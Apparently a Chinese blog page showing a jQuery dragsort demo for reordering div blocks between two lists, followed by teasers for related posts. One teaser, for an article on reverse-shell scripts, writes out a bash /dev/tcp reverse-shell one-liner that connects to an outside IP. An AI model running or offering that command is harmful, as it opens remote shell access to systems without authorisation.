html结构：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

    <style type="text/css">

	body { font-family:Arial; font-size:12pt; padding:20px; width:820px; margin:20px auto; border:solid 1px black; }

	h1 { font-size:16pt; }

	h2 { font-size:13pt; }

	ul { margin:0px; padding:0px; margin-left:20px; }

	#list1, #list2 { width:350px; list-style-type:none; margin:0px; }

	#list1 li, #list2 li { float:left; padding:5px; width:100px; height:100px; }

	#list1 div, #list2 div { width:90px; height:50px; border:solid 1px black; background-color:#E0E0E0; text-align:center; padding-top:40px; }

	#list2 { float:right; }

	.placeHolder div { background-color:white !important; border:dashed 1px gray !important; }
   </style>

   <title>jQuery制作div板块层拖动排序功能</title>

</head>

<body>

	<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>

	<script type="text/javascript" src="jquery.dragsort-0.5.1.min.js"></script>

	<h1>jQuery List DragSortͼ</h1>

	<br/>

	<script type="text/javascript">

		$("ul:first").dragsort();

	</script>

	<h2>2D list with drag and drop between lists:</h2>

	<ul id="list2">

		<li><div>10</div></li>

		<li><div>11</div></li>

		<li><div>12</div></li>

		<li><div>13</div></li>

		<li><div>14</div></li>

		<li><div>15</div></li>

		<li><div>16</div></li>

		<li><div>17</div></li>

		<li><div>18</div></li>

	</ul>

	<ul id="list1">

		<li><div>1</div></li>

		<li><div>2</div></li>

		<li><div>3</div></li>

		<li><div>4</div></li>

		<li><div>5</div></li>

		<li><div>6</div></li>

		<li><div>7</div></li>

		<li><div>8</div></li>

		<li><div>9</div></li>

	</ul>

	<!-- save sort order here which can be retrieved on server on postback -->

	<input name="list1SortOrder" type="hidden" />

	<script type="text/javascript">

		$("#list1, #list2").dragsort({ dragSelector: "div", dragBetween: true, dragEnd: saveOrder, placeHolderTemplate: "<li class='placeHolder'><div></div></li>" });

		function saveOrder() {

			var data = $("#list1 li").map(function() { return $(this).children().html(); }).get();

			$("input[name=list1SortOrder]").val(data.join("|"));

		};

	</script>

</body>

</html>

下载地址:Demo

jQuery制作div板块拖动层排序的更多相关文章

  1. jquery实现DIV层拖动

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  2. jquery制作弹出层带遮罩效果，点击阴影部分层消失

    jquery制作弹出层带遮罩效果,点击阴影部分层消失. 整体还是比较简单的. HTML代码很简单 <a href="#" class="big-link" ...

  3. JQuery 拖动层

    <html> <head> <meta http-equiv="Content-Type" content="text/html; char ...

  4. jQuery制作顶部与左侧锚点板块定位功能带动画跳转特效

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  5. css3+jquery制作3d旋转相册

    首先来看一下今天的炫酷效果: 首先分析一下这张图片: 1.每张图片都有倒影 2.这11张图片呈圆形均匀排列 3.可旋转,上下移动(当然这是效果做出来以后,图片是分析不出来的) 那下面就开始吧. 一.准 ...

  6. jquery.dragsort实现列表拖曳、排序

    在一次工作中需要将功能模块实现拖曳并且排序,并且将排序结果保存到数据库,用户下次登录后直接读取数据库排序信息进行显示.LZ找了好多插件,最后发现 jquery.dragsort 这款插件是最好使用的, ...

  7. jQuery实现网页右下角悬浮层提示

    最近有同事提到类似网页右下角的消息悬浮提示框的制作.我之前也做过一个类似的例子,很简单.是仿QQ消息.现在感觉之前的那个例子只是说了实现原理,整体上给你的感觉还是太丑,今天为大家带来一个新的例子.是D ...

  8. jQuery制作弹出窗（模态框）

    来源:(二少)在南极 ##index.html <!DOCTYPE html><html lang="zh"><head> <meta c ...

  9. jquery制作论坛或社交网站的每天打卡签到特效

    效果:http://hovertree.com/texiao/jquery/50/ 现在许多社区,购物等网站都设置签到功能,打开可以收获经验.虚拟币等,提高用户粘性,增加浏览量,是一个不错的功能.本文 ...

随机推荐

  1. 数据库之 MySQL --- 数据处理 之 表操作、CRUD（六）

    个人博客网:https://wushaopei.github.io/    (你想要这里多有) 一. 表操作 创建数据库CREATE DATABASE demo-- 删除数据库DROP DATABAS ...

  2. Java实现 蓝桥杯VIP 算法训练 最长字符串

    题目描述 字符串可是比赛经常出的问题,那么给大家出一个题, 输入五个字符串,输出5个字符串当中最长的字符串.每个字符串长度在100以内,且全为小写字母. 输入 无 输出 无 样例输入 one two ...

  3. Java实现 LeetCode 71 简化路径

    71. 简化路径 以 Unix 风格给出一个文件的绝对路径,你需要简化它.或者换句话说,将其转换为规范路径. 在 Unix 风格的文件系统中,一个点(.)表示当前目录本身:此外,两个点 (-) 表示将 ...

  4. Java实现 蓝桥杯 算法提高 双十一抢购

    试题 算法提高 双十一抢购 资源限制 时间限制:1.0s 内存限制:256.0MB 问题描述 一年一度的双十一又来了,某网购网站又开始了半价销售的活动. 小G打算在今年的双十一里尽情地购物,以享受购买 ...

  5. java计算时间从什么时候开始 为什么从1970年开始 java的时间为什么是一大串数字

    Date date = new Date(0); System.out.println(date); 打印出来的结果: Thu Jan 01 08:00:00 CST 1970 也是1970 年 1 ...

  6. java实现自行车行程

    ** 自行车行程** 计算行程 低碳生活,有氧运动.骑自行车出行是个好主意.小明为自己的自行车装了个计数器,可以计算出轮子转动的圈数.在一次骑车旅行中,出发时计算器的示数为begin,到达目的地时的示 ...

  7. java代码（6） ---guava之multimap

    guava之multimap 上一篇说的是Multiset它可以对存入的相同元素做一个计数的功能,那multimap呢? 一.概述 1.基本介绍和案例说明 multimap和Multiset的继承结果 ...

  8. 常用的反弹shell脚本

    bash shell反弹脚本 /bin/bash -i > /dev/tcp/10.211.55.11/ <& >& Python shell 反弹脚本 #!/usr ...

  9. mybatis 逆向工程使用姿势不对，把表清空了，心里慌的一比，于是写了个插件。

    使用mybatis逆向工程的时候,delete方法的使用姿势不对,导致表被清空了,在生产上一刷新后发现表里没数据了,一股凉意从脚板心直冲天灵盖. 于是开发了一个拦截器,并写下这篇文章记录并分享. 这锅 ...

  10. vue踩过的坑（'url' is assigned a value but never used no-unused-vars）

    1.代码编写 2.遇见错误 3.解决方案 在错误代码后加入注释:(// eslint-disable-line no-unused-vars) 之后页面上就不会出现该错误信息了